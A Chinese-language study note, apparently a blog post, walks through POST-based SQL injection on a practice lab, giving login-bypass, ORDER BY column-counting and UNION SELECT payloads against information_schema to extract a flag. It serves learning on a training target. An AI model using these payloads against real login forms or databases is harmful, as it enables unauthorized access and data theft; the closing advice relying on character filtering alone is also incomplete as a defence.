渗透测试基础-POST注入
只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力💪!
POST注入是什么
post是一种传参方式,大多出现在各种框处,比如登录框,查询框,和各种与数据库有交互的框。
注入攻击是:用户输入的数据当作代码执行,这里有两个关键点
- 关键点一:用户能够控制输入
关键点二:原本程序要执行的代码,拼接了用户输入的数据
post注入与get注入没有本质的区别,无非就是一个在表单框执行注入,一个在url栏执行注入,没了。
POST注入靶场演练
进入靶场我们可以看得到,有登录框,属于post传参的方式。在上面,靶场也显示了“数据库查询语句”方便我们查看输入的数据情况。
先用万能密码尝试一下登录测试,看能不能进去。
测试语句:
' or 1=1-- qwe
在这里,我直接用单引号开头,因为在上面有显示了,输入的数据,会放入单引号内,所有先用担引号给他闭合了,后面放入条件为True的语句,让其通过,看看执行情况
显示登录成功,执行的语句生效了,这里要是真实情况的话,我们就已经登录成功,进入下一个界面了(正式情况下,这样的情况很少出现了😂)。但我们现在是需要找到flag,所以登录成功与否,并没有什么用。所有接下来用order by
来继续进行尝试。
测试语句:
'or 1=1 order by 1-- qwe
现在看起来语句正常执行了,既然order by 1
不可以,那就接着测试
测试发现这里的字段数为3,那直接用自带库,进行接下来的尝试。
测试语句:
'or 1=1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1-- qwe
这里就直接找到了flag
表名,拿着这个表名,接着找字段名。
测试语句:
'or 1=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 2,1-- qwe
在limit 2,1
的地方找到了flag
字段,拿着这个字段名和前面获得的表名,去查询想要的数据。
测试语句:
'or 1=1 union select 1,2,flag from flag limit 1,1-- qwe
这样就得到了想要的flag
漏洞总结
注入攻击的最后的防护方法就是过滤,过滤特殊符号,如’’,"",(),等
《最好的防御,是明白其怎么实施的攻击》